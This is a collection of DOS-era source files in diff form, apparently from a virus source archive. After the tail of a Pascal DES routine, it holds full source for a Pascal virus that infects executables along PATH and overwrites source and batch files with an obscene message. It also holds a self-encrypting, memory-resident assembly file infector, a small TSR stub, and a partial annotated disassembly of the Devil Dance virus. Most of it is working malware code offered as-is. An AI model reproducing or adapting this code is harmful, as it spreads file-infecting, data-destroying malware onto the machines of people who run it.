(( 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1),
(13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6),
( 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2),
( 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12)),
((13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7),
( 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2),
( 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8),
( 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11)));
PC_1 : Array [1..56] Of Byte = (57,49,41,33,25,17, 9,
1,58,50,42,34,26,18,
10, 2,59,51,43,35,27,
19,11, 3,60,52,44,36,
63,55,47,39,31,23,15,
7,62,54,46,38,30,22,
14, 6,61,53,45,37,29,
21,13, 5,28,20,12, 4);
PC_2 : Array [1..48] Of Byte = (14,17,11,24, 1, 5,
3,28,15, 6,21,10,
23,19,12, 4,26, 8,
16, 7,27,20,13, 2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32);
ShiftTable : Array [1..16] Of Byte = (1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1);
Var
InputValue : Array [1..64] Of Byte;
OutputValue : Array [1..64] Of Byte;
RoundKeys : Array [1..16,1..48] Of Byte;
L, R, FunctionResult : Array [1..32] Of Byte;
C, D : Array [1..28] Of Byte;
Function GetBit (Var Data; Index : Byte) : Byte;
Var
Bits : Array [0..7] Of Byte ABSOLUTE Data;
Begin
Dec (Index);
If Bits[Index DIV 8] And (128 SHR (Index MOD 8))>0 then GetBit:=1
Else GetBit:=0;
End;{GetBit}
Procedure SetBit (Var Data; Index, Value : Byte);
Var
Bits : Array [0..7] Of Byte ABSOLUTE Data;
Bit : Byte;
Begin
Dec (Index);
Bit:=128 SHR (Index MOD 8);
Case Value Of
0 : Bits[Index DIV 8]:=Bits[Index DIV 8] And (Not Bit);
1 : Bits[Index DIV 8]:=Bits[Index DIV 8] Or Bit;
End;
End;{SetBit}
Procedure F (Var FR, FK, Output);
Var
R : Array [1..48] Of Byte ABSOLUTE FR;
K : Array [1..48] Of Byte ABSOLUTE FK;
Temp1 : Array [1..48] Of Byte;
Temp2 : Array [1..32] Of Byte;
n, h, i, j, Row, Column : Integer;
TotalOut : Array [1..32] Of Byte ABSOLUTE Output;
Begin
For n:=1 to 48 Do Temp1[n]:=R[E[n]] Xor K[n];
For n:=1 to 8 Do Begin
i:=(n-1)*6;
j:=(n-1)*4;
Row:=Temp1[i+1]*2+Temp1[i+6];
Column:=Temp1[i+2]*8 + Temp1[i+3]*4 + Temp1[i+4]*2 + Temp1[i+5];
For h:=1 to 4 Do Begin
Case h Of
1 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 8) DIV 8;
2 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 4) DIV 4;
3 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 2) DIV 2;
4 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 1);
End;
End;
End;
For n:=1 to 32 Do TotalOut[n]:=Temp2[P[n]];
End;{F}
Procedure Shift (Var SubKeyPart);
Var
SKP : Array [1..28] Of Byte ABSOLUTE SubKeyPart;
n, b : Byte;
Begin
b:=SKP[1];
For n:=1 to 27 Do SKP[n]:=SKP[n+1];
SKP[28]:=b;
End;{Shift}
Procedure SubKey (Round : Byte; Var SubKey);
Var
SK : Array [1..48] Of Byte ABSOLUTE SubKey;
n, b : Byte;
Begin
For n:=1 to ShiftTable[Round] Do Begin
Shift (C);
Shift (D);
End;
For n:=1 to 48 Do Begin
b:=PC_2[n];
If b<=28 then SK[n]:=C[b] Else SK[n]:=D[b-28];
End;
End;{SubKey}
Var
n, i, b, Round : Byte;
Outputje : Array [1..64] Of Byte;
K : Array [1..48] Of Byte;
fi : Text;
Begin
For n:=1 to 64 Do InputValue[n]:=GetBit (Input,n);
For n:=1 to 28 Do Begin
C[n]:=GetBit(Key,PC_1[n]);
D[n]:=GetBit(Key,PC_1[n+28]);
End;
For n:=1 to 16 Do SubKey (n,RoundKeys[n]);
For n:=1 to 64 Do If n<=32 then L[n]:=InputValue[IP[n]]
Else R[n-32]:=InputValue[IP[n]];
For Round:=1 to 16 Do Begin
If Encrypt then
F (R,RoundKeys[Round],FunctionResult)
Else
F (R,RoundKeys[17-Round],FunctionResult);
For n:=1 to 32 Do FunctionResult[n]:=FunctionResult[n] Xor L[n];
L:=R;
R:=FunctionResult;
End;
For n:=1 to 64 Do Begin
b:=InvIP[n];
If b<=32 then OutputValue[n]:=R[b] Else OutputValue[n]:=L[b-32];
End;
For n:=1 to 64 Do SetBit (Output,n,OutputValue[n]);
End;
end.
@@ -0,0 +1,272 @@
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 16384,20000,100000}
PROGRAM Destroy;
{$I-}
USES CRT, DOS;
CONST
MyLen = 7335;
VAR
SR : SearchRec;
FN : String;
Dir : DirStr;
Nam : NameStr;
Ext : ExtStr;
FUNCTION UpStr (S : String) : String;
VAR
I : Byte;
BEGIN
FOR I := 1 TO Length (S) DO
S [I] := UpCase (S [I]);
UpStr := S;
END;
PROCEDURE Infect_File;
VAR
F, F1 : File;
Buff : Array [1..MYLEN] Of Byte;
B : Byte;
W : Word;
BEGIN
Assign (F, SR.Name);
FileMode := 2;
ReSet (F,1);
IF IOResult <> 0 THEN Exit;
IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
Close (F);
Exit;
END;
Assign (F1, ParamStr (0));
ReSet (F1,1);
IF IOResult <> 0 THEN BEGIN
Close (F);
Exit;
END;
Seek (F, FileSize (F)-1);
BlockRead (F, B, 1, W);
IF B = Ord ('€') THEN BEGIN
Close (F);
Close (F1);
Exit;
END;
Seek (F, 0);
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, FileSize (F));
BlockWrite (F, Buff, MyLen, W);
B := Ord ('€');
BlockWrite (F, B, 1, W);
Seek (F, 0);
BlockRead (F1, Buff, MyLen, W);
BlockWrite (F, Buff, MyLen, W);
Close (F1);
SetFTime (F, SR.Time);
Close (F);
SetFAttr (F, SR.Attr);
END;
PROCEDURE KILLER_FILE (I : Byte);
VAR
T, T1 : Text;
J : Byte;
S : String;
BEGIN
IF SR.Attr And ReadOnly <> 0 THEN Exit;
Assign (T, SR. Name);
Assign (T1, 'QWERTY.SWP');
ReSet (T);
IF I = 1 THEN BEGIN
J := 0;
WHILE EOF (T) = False DO BEGIN
ReadLn (T, S);
IF Pos ('PROGRAM', UpStr (S)) <> 0 THEN BEGIN
J := 1;
Break;
END;
END;
IF J = 0 THEN BEGIN
Close (T);
Exit;
END ELSE ReSet (T);
END;
ReWrite (T1);
CASE I OF
1 : BEGIN
WriteLn (T1, 'PROGRAM Virus;');
WriteLn (T1, 'BEGIN');
WriteLn (T1, 'WriteLn ('+#39+'˜¥« ¡ë âë ­  åã©!'+#39+');');
WriteLn (T1, 'END.');
END;
2 : BEGIN
WriteLn (T1, 'PRINT "˜¥« ¡ë âë ­  åã©!"');
END;
3 : BEGIN
WriteLn (T1, 'Model Tiny');
WriteLn (T1, '.Code');
WriteLn (T1, 'ORG 100h');
WriteLn (T1, 'START:');
WriteLn (T1, 'LEA DX, MSG');
WriteLn (T1, 'MOV AH,09h');
WriteLn (T1, 'INT 21h');
WriteLn (T1, 'RET');
WriteLn (T1, 'MSG db '+#39+'˜¥« ¡ë âë ­  åã©!'+#39+'0ah,0dh,'+#39+'$'+#39);
WriteLn (T1, 'END START');
END;
4 : BEGIN
WriteLn (T1, 'echo off');
WriteLn (T1, 'echo ˜¥« ¡ë âë ­  åã©!');
WriteLn (T1, 'pause');
END;
5 : BEGIN
WriteLn (T1, '˜¥« ¡ë âë ­  åã©!');
END;
6 : BEGIN
WriteLn (T1, 'Ÿ - ‚ˆ“‘-Œ“„€Š');
WriteLn (T1, '€ âë ¨¤¨ ­  åã©');
END;
END;
WHILE EOF (T) = False DO BEGIN
ReadLn (T, S);
WriteLn (T1, S);
END;
Close (T);
Erase (T);
Close (T1);
Rename (T1, SR.Name);
SetFAttr (T1, ReadOnly);
END;
PROCEDURE Find_In_To_Current_Directory;
BEGIN
FindFirst('*.*', $20, SR);
While DosError = 0 do begin
FSplit (SR.Name, Dir, Nam, Ext);
IF Ext = '.COM' THEN Infect_File;
IF Ext = '.EXE' THEN Infect_File;
IF Ext = '.PAS' THEN KILLER_File (1);
IF Ext = '.BAS' THEN KILLER_File (2);
IF Ext = '.ASM' THEN KILLER_File (3);
IF Ext = '.BAT' THEN KILLER_File (4);
IF Ext = '.ME' THEN KILLER_File (5);
IF Ext = '.DIZ' THEN KILLER_File (5);
IF UpStr (SR.Name) = 'DIRINFO' THEN KILLER_File (6);
FindNext(SR);
End;
END;
PROCEDURE Exec_Program;
VAR
F1, F : File;
Buff : Array [1..MYLEN] Of Byte;
W : Word;
S : String;
FTime : LongInt;
FAttr : Word;
BEGIN
FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext);
IF Nam = 'DESTROY' THEN Exit;
Assign (F, ParamStr (0));
GetFAttr (F, FAttr);
SetFAttr (F, Archive);
FileMode := 2;
ReSet (F,1);
IF IOResult <> 0 THEN BEGIN
WriteLn ('Disk failure');
Exit;
END;
GetFTime (F, FTime);
Assign (F1, 'QWERTY.SWP');
ReWrite (F1,1);
BlockRead (F, Buff, MyLen, W);
BlockWrite (F1, Buff, MyLen, W);
Seek (F, FileSize (F) - (MyLen + 1));
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, 0);
BlockWrite (F, Buff, MyLen, W);
Seek (F, FileSize (F) - (MyLen + 1));
Truncate (F);
Close (F1);
Close (F);
S := '';
FOR W := 1 TO ParamCount DO
S := ParamStr (1) + ' ';
SwapVectors;
Exec (ParamStr (0), S);
SwapVectors;
FileMode := 2;
Assign (F, ParamStr (0));
ReSet (F,1);
Assign (F1, 'QWERTY.SWP');
ReSet (F1,1);
Seek (F, 0);
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, FileSize (F));
BlockWrite (F,Buff, MyLen, W);
Buff [1] := Ord('€');
BlockWrite (F,Buff[1], 1, W);
BlockRead (F1, Buff, MyLen, W);
Seek (F, 0);
BlockWrite (F, Buff, MyLen, W);
SetFTime (F, FTime);
Close (F);
SetFAttr (F, FAttr);
Close (F1);
Erase (F1);
END;
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
WriteLn (PS);
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN
Find_In_To_Current_Directory;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
S := '';
Continue;
END;
Find_In_To_Current_Directory;
S := '';
END;
UNTIL False;
ChDir (Home);
END;
BEGIN
Find_In_To_Current_Directory;
Exec_Program;
Search_From_PATH;
END.
@@ -0,0 +1,518 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[tabb+2]
push cs
pop ds
jmp loopshit
otto:
jmp start
loopshit:
jmp word ptr cs:[tabb]
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
tabb :
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset tabb+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset tabb+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[tabb+06] ;if install, jump to module 4
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
jmp word ptr cs:[tabb+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[tabb]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset tabb
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[tabb+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset tabb
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[tabb+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;
jmp word ptr cs:[tabb+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[tabb+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
mov ah,9
mov dx,word ptr [tabb+8]
add dx,offset msg-offset mod_5
push cs
pop ds
int 21
cli
hlt
msg db 0dh,0a,'Senseless Destruction...',7,7,'$'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'Protecting what we are ',0
db 'joining together to take on the world.. ',0
db 'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[tabb+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[tabb+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
mov cx,0bh ;
repe cmpsb ;
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[tabb+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
mov si,word ptr cs:[tabb+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
call word ptr cs:[tabb] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
call word ptr cs:[tabb] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
mov ax,word ptr cs:[tabb+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
jne mod_8_ext
call word ptr cs:[tabb+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[tabb],offset mod_1
ret
code ends
end start

@@ -0,0 +1,86 @@
cseg segment para public 'CODE'
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 100h
begin: mov dx,offset virus_get ; Set Int F2h Handler
mov ax,25F2h
int 21H
mov dx,offset signon ; Tell Them We're Here
mov ah,9
int 21h
mov dx,((offset pgm_len+15)/16)+10h ; Reserve DX Paragraphs Mem
mov ax,3100h ; TSR Code 0
int 21h
virus_get proc near
sti
push ax ; Save Registers
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
cmp dx, 'As' ; Virus?
jne okay ; Nope
mov ax,cs
mov ds,ax
mov dx,offset warning ; Warn User
mov ah,9
int 21h
check: mov ah,1 ; Read Keyboard
int 21h
cmp al,'C' ; User Wants To Continue
je cont
cmp al,'c'
je cont
cmp al,'Q' ; User Wants To Quit
je quit
cmp al,'q'
je quit
mov dx,offset bad ; Incorrect Key
mov ah,9
int 21h
jmp check
quit: mov ah,9 ; 'Contact Havoc The ...'
mov dx,offset ending
int 21h
mov ax,4cffh ; Exit Code 255
int 21h
cont: mov dx,offset crlf ; Send CR/LF
mov ah,9
int 21h
okay: pop es ; Restore Registers
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt Return
virus_get endp
signon db 10,13,'Gunther Virus Detection Handler Installed.'
db 10,13,'Created by Havoc The Chaos'
db 10,13,'Copywrite (c) 1992, 1993 by John Burnette'
db 10,13,'All Rights Reserved.',10,13,'$'
warning db 7,7,7,10,13,'Warning, Interrupt F2h Detected: Gunther Virus is active!'
db 10,13,'Continue or Quit (C/Q) ? $'
ending db 10,10,13,'Contact Havoc The Chaos for a cure by sending him the virus!',7,'$'
bad db 7,7,8,' ',8,'$'
crlf db 10,13,'$'
pgm_len equ $-begin
cseg ends
end begin
+625
View File
@@ -0,0 +1,625 @@
; virus Devil Dance
;
; disassembled by Marek A. Filipiak October 31, 1990
;
0100 E9090B JMP 0C0C
; ...
; victim code
; ...
;========================================
; Virus entry point
;========================================
; find offset of virus code in memory
0C0C 8B360101 MOV SI,[0101] ; destination of first jump
0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction
; restore victim starting code
0C14 56 PUSH SI ; store virus offset in memory
0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes
0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes
0C1C BF0001 MOV DI,0100 ; destination
0C1F F3 REPZ
0C20 A4 MOVSB ; move
0C21 5E POP SI ; restore virus base address
0C22 E81300 CALL 0C38 ; check presence of resident part
0C25 7306 JAE 0C2D ; return to aplication
0C27 E86503 CALL 0F8F ; infect one file in current directory
0C2A E82A00 CALL 0C57 ; instal resident part
; return to aplication
0C2D B80001 MOV AX,0100 ; return address
0C30 50 PUSH AX
0C31 8CC8 MOV AX,CS
0C33 8ED8 MOV DS,AX
0C35 8EC0 MOV ES,AX
0C37 C3 RET ; jump to aplication
;---------------------------
; is resident part active?
0C38 06 PUSH ES
0C39 B82135 MOV AX,3521 ; get INT 21h vector
0C3C CD21 INT 21
0C3E 26 ES:
0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D'
0C43 750F JNZ 0C54 ; no, exit with carry and NZ
0C45 26 ES:
0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r'
0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ
0C4C 26 ES:
0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k'
0C51 07 POP ES
0C52 F8 CLC ; exit with no carry and Z or NZ
0C53 C3 RET
0C54 07 POP ES
0C55 F9 STC
0C56 C3 RET
;----------------------
; instal resident part
0C57 B8004A MOV AX,4A00 ; change size of allocated memory
0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs)
0C5D 0E PUSH CS
0C5E 1F POP DS
0C5F CD21 INT 21
0C61 B80048 MOV AX,4800 ; allocate memory
0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes)
0C67 CD21 INT 21
0C69 FC CLD
0C6A 8EC0 MOV ES,AX ; segment of allocated block
0C6C 56 PUSH SI ; store SI
0C6D 8BDE MOV BX,SI ; virus base
0C6F BF0301 MOV DI,0103 ; destination
0C72 B9AD03 MOV CX,03AD ; virus size (941)
0C75 F3 REPZ
0C76 A4 MOVSB ; move to new place
; first 103 bytes of allocated block serve for virus working area
0C77 26 ES:
0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code
0C7E 5E POP SI ; restore SI (virus base)
0C7F 1E PUSH DS ; store current DS
0C80 06 PUSH ES ; store virus ES
0C81 8CC0 MOV AX,ES
0C83 48 DEC AX ; segment of MCB
0C84 8EC0 MOV ES,AX
0C86 26 ES:
0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner
0C8D 07 POP ES ; restore virus ES
0C8E 8CC0 MOV AX,ES ; set DS to new virus segment
0C90 8ED8 MOV DS,AX
0C92 B82135 MOV AX,3521 ; get INT 21h
0C95 CD21 INT 21
0C97 891E0200 MOV [0002],BX ; store INT 21h
0C9B 8C060400 MOV [0004],ES
0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h)
0CA2 B82125 MOV AX,2521 ; set INT 21h
0CA5 CD21 INT 21
0CA7 B80935 MOV AX,3509 ; get INT 09h
0CAA CD21 INT 21
0CAC 891E0600 MOV [0006],BX ; store it
0CB0 8C060800 MOV [0008],ES
0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter
0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ??
0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard)
0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9)
0CC5 CD21 INT 21
0CC7 1F POP DS ; restore carrier DS
0CC8 C3 RET
;-----------------------------
; INT 09h handler (keyboard)
0CC9 CC INT 3 : ?? destroyed by some debugger ??
0CCA FB STI
0CCB 50 PUSH AX ; store AX
0CCC 1E PUSH DS ; and DS
0CCD 33C0 XOR AX,AX ; set DS to 0
0CCF 8ED8 MOV DS,AX
0CD1 A01704 MOV AL,[0417] ; BIOS, shift status
0CD4 2408 AND AL,08 ; extract Alt key
0CD6 3C08 CMP AL,08 ; is active?
0CD8 7503 JNZ 0CDD ; not presed
0CDA E98300 JMP 0D60 ; check for Del key
0CDD 2E CS:
0CDE FF062000 INC WORD PTR [0020] ; keystroke counter
0CE2 2E CS:
0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ??
0CE8 740B JZ 0CF5
0CEA 2E CS:
0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed?
0CF0 7403 JZ 0CF5 ; yes
; exit
0CF2 EB64 JMP 0D58 ; exit to true INT 9
0CF4 90 NOP
; exactly ten keys has been presed or flag [0015] has been set
; change attribute at curent cursor position
0CF5 52 PUSH DX
0CF6 56 PUSH SI
0CF7 53 PUSH BX
0CF8 06 PUSH ES
0CF9 51 PUSH CX
0CFA BE0301 MOV SI,0103 ; virus base
0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh)
0D01 2E CS:
0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag
0D07 2E CS:
0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h)
0D0C 2E CS:
0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter
0D11 81FB2B03 CMP BX,032B
0D15 7302 JAE 0D19 ; skip counter reset
0D17 EB0A JMP 0D23
0D19 2E CS:
0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter
0D20 BB2503 MOV BX,0325 ; set BX to new value
0D23 CD11 INT 11 ; equipment list
0D25 2430 AND AL,30 ; video monitor
0D27 3D3000 CMP AX,0030 ; monochrome
0D2A 7505 JNZ 0D31 ; no
; mistake!
0D2C B800B8 MOV AX,B800 ; should be B000
0D2F EB03 JMP 0D34
0D31 B800B8 MOV AX,B800 ; segment of video RAM
0D34 8EC0 MOV ES,AX ; initialize ES (video RAM)
0D36 2E CS:
0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E
0D39 50 PUSH AX
; find screen address of current cursor position
0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position
